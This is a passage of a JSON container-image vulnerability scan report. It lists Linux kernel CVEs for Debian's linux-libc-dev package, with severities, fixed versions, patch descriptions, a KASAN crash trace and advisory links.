"https://ubuntu.com/security/vulnerabilities/crackarmor", "https://www.cve.org/CVERecord?id=CVE-2026-23410", "https://www.openwall.com/lists/oss-security/2026/04/01/3" ], "PublishedDate": "2026-04-01T09:16:17.093Z", "LastModifiedDate": "2026-06-17T10:21:31.74Z" }, { "VulnerabilityID": "CVE-2026-23411", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23411", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8b4d2cae3ace8c78a1d5a451c5b59a6eb46288711f44ac3a74af94dfe3b92be9", "Title": "kernel: apparmor: fix race between freeing data and fs accessing it", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\napparmor: fix race between freeing data and fs accessing it\n\nAppArmor was putting the reference to i_private data on its end after\nremoving the original entry from the file system. However the inode\ncan aand does live beyond that point and it is possible that some of\nthe fs call back functions will be invoked after the reference has\nbeen put, which results in a race between freeing the data and\naccessing it through the fs.\n\nWhile the rawdata/loaddata is the most likely candidate to fail the\nrace, as it has the fewest references. If properly crafted it might be\npossible to trigger a race for the other types stored in i_private.\n\nFix this by moving the put of i_private referenced data to the correct\nplace which is during inode eviction.", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "azure": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23411", "https://cdn2.qualys.com/advisory/2026/03/10/crack-armor.txt", "https://git.kernel.org/stable/c/13bc2772414d68e94e273dea013181a986948ddf", "https://git.kernel.org/stable/c/2a732ed26fbd048e7925d227af8cf9ea43fb5cc9", "https://git.kernel.org/stable/c/3ddb961d2929bbb3204a2bba21b5d8153cd3f7cc", "https://git.kernel.org/stable/c/667df93769c02ff581c77d2d8f162147e719c557", "https://git.kernel.org/stable/c/8e135b8aee5a06c52a4347a5a6d51223c6f36ba3", "https://git.kernel.org/stable/c/a92c5e5086a87d082696245a8607666da3d80554", "https://git.kernel.org/stable/c/ae10787d955fb255d381e0d5589451dd72c614b1", "https://git.kernel.org/stable/c/eecce026399917f6efa532c56bc7a3e9dd6ee68b", "https://lore.kernel.org/linux-cve-announce/2026040114-CVE-2026-23411-00f7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23411", "https://ubuntu.com/blog/apparmor-vulnerability-fixes-available", "https://ubuntu.com/security/notices/USN-8098-10", "https://ubuntu.com/security/notices/USN-8152-1", "https://ubuntu.com/security/notices/USN-8163-1", "https://ubuntu.com/security/notices/USN-8163-2", "https://ubuntu.com/security/notices/USN-8164-1", "https://ubuntu.com/security/notices/USN-8165-1", "https://ubuntu.com/security/notices/USN-8201-1", "https://ubuntu.com/security/notices/USN-8224-1", "https://ubuntu.com/security/notices/USN-8243-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://ubuntu.com/security/notices/USN-8266-1", "https://ubuntu.com/security/notices/USN-8267-1", "https://ubuntu.com/security/vulnerabilities/crackarmor", "https://www.cve.org/CVERecord?id=CVE-2026-23411", "https://www.openwall.com/lists/oss-security/2026/04/01/3" ], "PublishedDate": "2026-04-01T09:16:17.27Z", "LastModifiedDate": "2026-06-17T10:21:31.873Z" }, { "VulnerabilityID": "CVE-2026-23422", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23422", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f1f49ff468dd197b6166b44c0645583e8d877c3dd84818035813fd221e1fd33e", "Title": "In the Linux kernel, the following vulnerability has been resolved: d ...", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndpaa2-switch: Fix interrupt storm after receiving bad if_id in IRQ handler\n\nCommit 31a7a0bbeb00 (\"dpaa2-switch: add bounds check for if_id in IRQ\nhandler\") introduces a range check for if_id to avoid an out-of-bounds\naccess. If an out-of-bounds if_id is detected, the interrupt status is\nnot cleared. This may result in an interrupt storm.\n\nClear the interrupt status after detecting an out-of-bounds if_id to avoid\nthe problem.\n\nFound by an experimental AI code review agent at Google.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23422", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://git.kernel.org/stable/c/00f42ace446f1e4bf84988f2281131f52cd32796", "https://git.kernel.org/stable/c/28fd8ac1d49389cb230d712116f54e27ebec11b8", "https://git.kernel.org/stable/c/74badb9c20b1a9c02a95c735c6d3cd6121679c93", "https://git.kernel.org/stable/c/7def51cb9fb8b8d5342443372b8cf28d8fbd7f3d", "https://git.kernel.org/stable/c/b5bababe7703a7322bc59b803ab1587887a2a5e4", "https://git.kernel.org/stable/c/c7becfe3e604d138bd53b8ac3111b2b3e8ec6b0e", "https://git.kernel.org/stable/c/fa4412cdc5178a48799bafcb8af28fd2fbf3d703", "https://lore.kernel.org/linux-cve-announce/2026040304-CVE-2026-23422-1e6f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23422", "https://www.cve.org/CVERecord?id=CVE-2026-23422" ], "PublishedDate": "2026-04-03T14:16:28.32Z", "LastModifiedDate": "2026-10-15T02:18:55.73Z" }, { "VulnerabilityID": "CVE-2026-23428", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23428", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:155343411d1f05d23cfc4ffc5302aadf2cd40da86c418485431f8c61577ca633", "Title": "kernel: ksmbd: fix use-after-free of share_conf in compound request", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix use-after-free of share_conf in compound request\n\nsmb2_get_ksmbd_tcon() reuses work-\u003etcon in compound requests without\nvalidating tcon-\u003et_state. ksmbd_tree_conn_lookup() checks t_state ==\nTREE_CONNECTED on the initial lookup path, but the compound reuse path\nbypasses this check entirely.\n\nIf a prior command in the compound (SMB2_TREE_DISCONNECT) sets t_state\nto TREE_DISCONNECTED and frees share_conf via ksmbd_share_config_put(),\nsubsequent commands dereference the freed share_conf through\nwork-\u003etcon-\u003eshare_conf.\n\nKASAN report:\n\n[ 4.144653] ==================================================================\n[ 4.145059] BUG: KASAN: slab-use-after-free in smb2_write+0xc74/0xe70\n[ 4.145415] Read of size 4 at addr ffff88810430c194 by task kworker/1:1/44\n[ 4.145772]\n[ 4.145867] CPU: 1 UID: 0 PID: 44 Comm: kworker/1:1 Not tainted 7.0.0-rc3+ #60 PREEMPTLAZY\n[ 4.145871] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[ 4.145875] Workqueue: ksmbd-io handle_ksmbd_work\n[ 4.145888] Call Trace:\n[ 4.145892] \u003cTASK\u003e\n[ 4.145894] dump_stack_lvl+0x64/0x80\n[ 4.145910] print_report+0xce/0x660\n[ 4.145919] ? __pfx__raw_spin_lock_irqsave+0x10/0x10\n[ 4.145928] ? smb2_write+0xc74/0xe70\n[ 4.145931] kasan_report+0xce/0x100\n[ 4.145934] ? smb2_write+0xc74/0xe70\n[ 4.145937] smb2_write+0xc74/0xe70\n[ 4.145939] ? __pfx_smb2_write+0x10/0x10\n[ 4.145942] ? _raw_spin_unlock+0xe/0x30\n[ 4.145945] ? ksmbd_smb2_check_message+0xeb2/0x24c0\n[ 4.145948] ? smb2_tree_disconnect+0x31c/0x480\n[ 4.145951] handle_ksmbd_work+0x40f/0x1080\n[ 4.145953] process_one_work+0x5fa/0xef0\n[ 4.145962] ? assign_work+0x122/0x3e0\n[ 4.145964] worker_thread+0x54b/0xf70\n[ 4.145967] ? __pfx_worker_thread+0x10/0x10\n[ 4.145970] kthread+0x346/0x470\n[ 4.145976] ? recalc_sigpending+0x19b/0x230\n[ 4.145980] ? __pfx_kthread+0x10/0x10\n[ 4.145984] ret_from_fork+0x4fb/0x6c0\n[ 4.145992] ? __pfx_ret_from_fork+0x10/0x10\n[ 4.145995] ? __switch_to+0x36c/0xbe0\n[ 4.145999] ? __pfx_kthread+0x10/0x10\n[ 4.146003] ret_from_fork_asm+0x1a/0x30\n[ 4.146013] \u003c/TASK\u003e\n[ 4.146014]\n[ 4.149858] Allocated by task 44:\n[ 4.149953] kasan_save_stack+0x33/0x60\n[ 4.150061] kasan_save_track+0x14/0x30\n[ 4.150169] __kasan_kmalloc+0x8f/0xa0\n[ 4.150274] ksmbd_share_config_get+0x1dd/0xdd0\n[ 4.150401] ksmbd_tree_conn_connect+0x7e/0x600\n[ 4.150529] smb2_tree_connect+0x2e6/0x1000\n[ 4.150645] handle_ksmbd_work+0x40f/0x1080\n[ 4.150761] process_one_work+0x5fa/0xef0\n[ 4.150873] worker_thread+0x54b/0xf70\n[ 4.150978] kthread+0x346/0x470\n[ 4.151071] ret_from_fork+0x4fb/0x6c0\n[ 4.151176] ret_from_fork_asm+0x1a/0x30\n[ 4.151286]\n[ 4.151332] Freed by task 44:\n[ 4.151418] kasan_save_stack+0x33/0x60\n[ 4.151526] kasan_save_track+0x14/0x30\n[ 4.151634] kasan_save_free_info+0x3b/0x60\n[ 4.151751] __kasan_slab_free+0x43/0x70\n[ 4.151861] kfree+0x1ca/0x430\n[ 4.151952] __ksmbd_tree_conn_disconnect+0xc8/0x190\n[ 4.152088] smb2_tree_disconnect+0x1cd/0x480\n[ 4.152211] handle_ksmbd_work+0x40f/0x1080\n[ 4.152326] process_one_work+0x5fa/0xef0\n[ 4.152438] worker_thread+0x54b/0xf70\n[ 4.152545] kthread+0x346/0x470\n[ 4.152638] ret_from_fork+0x4fb/0x6c0\n[ 4.152743] ret_from_fork_asm+0x1a/0x30\n[ 4.152853]\n[ 4.152900] The buggy address belongs to the object at ffff88810430c180\n[ 4.152900] which belongs to the cache kmalloc-96 of size 96\n[ 4.153226] The buggy address is located 20 bytes inside of\n[ 4.153226] freed 96-byte region [ffff88810430c180, ffff88810430c1e0)\n[ 4.153549]\n[ 4.153596] The buggy address belongs to the physical page:\n[ 4.153750] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff88810430ce80 pfn:0x10430c\n[ 4.154000] flags: 0x\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23428", "https://git.kernel.org/linus/c33615f995aee80657b9fdfbc4ee7f49c2bd733d%20%287.0-rc5%29", "https://git.kernel.org/stable/c/7f7468fd2a7554cea91b7d430335a3dbf01dcc09", "https://git.kernel.org/stable/c/806f13752652216db0c309392b4db3e64eeed4f2", "https://git.kernel.org/stable/c/a5929c2020ce54e1dcbd1078c0f30b8aaf73c105", "https://git.kernel.org/stable/c/c33615f995aee80657b9fdfbc4ee7f49c2bd733d", "https://git.kernel.org/stable/c/c742b46a153d3ff95ff0825ab1950c87b9e14470", "https://git.kernel.org/stable/c/d08417981155883068b7260d9500ca306a03edac", "https://git.kernel.org/stable/c/eae0dc86f71e6f3294c0cd7ffc05039258d243af", "https://lore.kernel.org/linux-cve-announce/2026040310-CVE-2026-23428-9e4e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23428", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-23428" ], "PublishedDate": "2026-04-03T16:16:23.993Z", "LastModifiedDate": "2026-10-19T19:17:47.68Z" }, { "VulnerabilityID": "CVE-2026-23447", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23447", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c3cb08c316d02b26ae005ed09e9048e5f0db785b068ad00a5d60625b6b47fd0e", "Title": "kernel: net: usb: cdc_ncm: add ndpoffset to NDP32 nframes bounds check", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: usb: cdc_ncm: add ndpoffset to NDP32 nframes bounds check\n\nThe same bounds-check bug fixed for NDP16 in the previous patch also\nexists in cdc_ncm_rx_verify_ndp32(). The DPE array size is validated\nagainst the total skb length without accounting for ndpoffset, allowing\nout-of-bounds reads when the NDP32 is placed near the end of the NTB.\n\nAdd ndpoffset to the nframes bounds check and use struct_size_t() to\nexpress the NDP-plus-DPE-array size more clearly.\n\nCompile-tested only.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "V3Score": 6.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23447", "https://git.kernel.org/linus/77914255155e68a20aa41175edeecf8121dac391%20%287.0-rc5%29", "https://git.kernel.org/stable/c/125f932a76a97904ef8a555f1dd53e5d0e288c54", "https://git.kernel.org/stable/c/77914255155e68a20aa41175edeecf8121dac391", "https://git.kernel.org/stable/c/a5bd5a2710310c965ea4153cba4210988a3454e2", "https://git.kernel.org/stable/c/af0d1613d6751489dbf9f69aac1123f0b1e566e5", "https://git.kernel.org/stable/c/baf246d6680befde2086b1df9eb3aaba3fb6853f", "https://git.kernel.org/stable/c/de70da1fb1d152e981ecb3157f7ec2b633005c16", "https://linux.oracle.com/cve/CVE-2026-23447.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026040315-CVE-2026-23447-dd25@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23447", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23447" ], "PublishedDate": "2026-04-03T16:16:30.663Z", "LastModifiedDate": "2026-11-05T22:18:26.66Z" }, { "VulnerabilityID": "CVE-2026-23448", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23448", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9e37bda099316e9bbadc655054cc4f9cdb88d1a8d6f2e6f6ac032df553bf5bf7", "Title": "kernel: net: usb: cdc_ncm: add ndpoffset to NDP16 nframes bounds check", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: usb: cdc_ncm: add ndpoffset to NDP16 nframes bounds check\n\ncdc_ncm_rx_verify_ndp16() validates that the NDP header and its DPE\nentries fit within the skb. The first check correctly accounts for\nndpoffset:\n\n if ((ndpoffset + sizeof(struct usb_cdc_ncm_ndp16)) \u003e skb_in-\u003elen)\n\nbut the second check omits it:\n\n if ((sizeof(struct usb_cdc_ncm_ndp16) +\n ret * (sizeof(struct usb_cdc_ncm_dpe16))) \u003e skb_in-\u003elen)\n\nThis validates the DPE array size against the total skb length as if\nthe NDP were at offset 0, rather than at ndpoffset. When the NDP is\nplaced near the end of the NTB (large wNdpIndex), the DPE entries can\nextend past the skb data buffer even though the check passes.\ncdc_ncm_rx_fixup() then reads out-of-bounds memory when iterating\nthe DPE array.\n\nAdd ndpoffset to the nframes bounds check and use struct_size_t() to\nexpress the NDP-plus-DPE-array size more clearly.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23448", "https://git.kernel.org/linus/2aa8a4fa8d5b7d0e1ebcec100e1a4d80a1f4b21a%20%287.0-rc5%29", "https://git.kernel.org/stable/c/2aa8a4fa8d5b7d0e1ebcec100e1a4d80a1f4b21a", "https://git.kernel.org/stable/c/403f94ddcb36c552fbef51dea735b131e3dcde8b", "https://git.kernel.org/stable/c/63c35b8fce77a7892e8fa06c540d4943145506eb", "https://git.kernel.org/stable/c/789204f980730258c983102c027c375238009c80", "https://git.kernel.org/stable/c/dce9dda0e3707e887977db44407989e9ead26611", "https://git.kernel.org/stable/c/f1c7701d3ac91b62d672c13690cf295821f0d5c3", "https://linux.oracle.com/cve/CVE-2026-23448.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026040315-CVE-2026-23448-1d79@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23448", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23448" ], "PublishedDate": "2026-04-03T16:16:30.863Z", "LastModifiedDate": "2026-11-05T22:18:26.827Z" }, { "VulnerabilityID": "CVE-2026-23454", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23454", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0cc6aef36f00e029b3de0ae7fb4544352d28be2e4d7d0c3e76ecd208e3414952", "Title": "kernel: net: mana: fix use-after-free in mana_hwc_destroy_channel() by reordering teardown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: mana: fix use-after-free in mana_hwc_destroy_channel() by reordering teardown\n\nA potential race condition exists in mana_hwc_destroy_channel() where\nhwc-\u003ecaller_ctx is freed before the HWC's Completion Queue (CQ) and\nEvent Queue (EQ) are destroyed. This allows an in-flight CQ interrupt\nhandler to dereference freed memory, leading to a use-after-free or\nNULL pointer dereference in mana_hwc_handle_resp().\n\nmana_smc_teardown_hwc() signals the hardware to stop but does not\nsynchronize against IRQ handlers already executing on other CPUs. The\nIRQ synchronization only happens in mana_hwc_destroy_cq() via\nmana_gd_destroy_eq() -\u003e mana_gd_deregister_irq(). Since this runs\nafter kfree(hwc-\u003ecaller_ctx), a concurrent mana_hwc_rx_event_handler()\ncan dereference freed caller_ctx (and rxq-\u003emsg_buf) in\nmana_hwc_handle_resp().\n\nFix this by reordering teardown to reverse-of-creation order: destroy\nthe TX/RX work queues and CQ/EQ before freeing hwc-\u003ecaller_ctx. This\nensures all in-flight interrupt handlers complete before the memory they\naccess is freed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23454", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://git.kernel.org/linus/fa103fc8f56954a60699a29215cb713448a39e87%20%287.0-rc5%29", "https://git.kernel.org/stable/c/05d345719d85b927cba74afac4d5322de3aa4256", "https://git.kernel.org/stable/c/249e905571583a434d4ea8d6f92ccc0eef337115", "https://git.kernel.org/stable/c/2b001901f689021acd7bf2dceed74a1bdcaaa1f9", "https://git.kernel.org/stable/c/afdb1533eb9c05432aeb793a7280fa827c502f5c", "https://git.kernel.org/stable/c/b88edf12fc3779521ae5f6f1584153b15f7da6df", "https://git.kernel.org/stable/c/e23bf444512cb85d76012080a76cd1f9e967448e", "https://git.kernel.org/stable/c/fa103fc8f56954a60699a29215cb713448a39e87", "https://linux.oracle.com/cve/CVE-2026-23454.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026040317-CVE-2026-23454-a999@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23454", "https://ubuntu.com/security/notices/USN-8310-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-23454" ], "PublishedDate": "2026-04-03T16:16:31.947Z", "LastModifiedDate": "2026-11-05T22:18:27.207Z" }, { "VulnerabilityID": "CVE-2026-31399", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31399", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c860c43e1b7f6601d59e30e02d66e2a1d6e2348390b24f7161732690f9a4995d", "Title": "kernel: nvdimm/bus: Fix potential use after free in asynchronous initialization", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvdimm/bus: Fix potential use after free in asynchronous initialization\n\nDingisoul with KASAN reports a use after free if device_add() fails in\nnd_async_device_register().\n\nCommit b6eae0f61db2 (\"libnvdimm: Hold reference on parent while\nscheduling async init\") correctly added a reference on the parent device\nto be held until asynchronous initialization was complete. However, if\ndevice_add() results in an allocation failure the ref count of the\ndevice drops to 0 prior to the parent pointer being accessed. Thus\nresulting in use after free.\n\nThe bug bot AI correctly identified the fix. Save a reference to the\nparent pointer to be used to drop the parent reference regardless of the\noutcome of device_add().", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 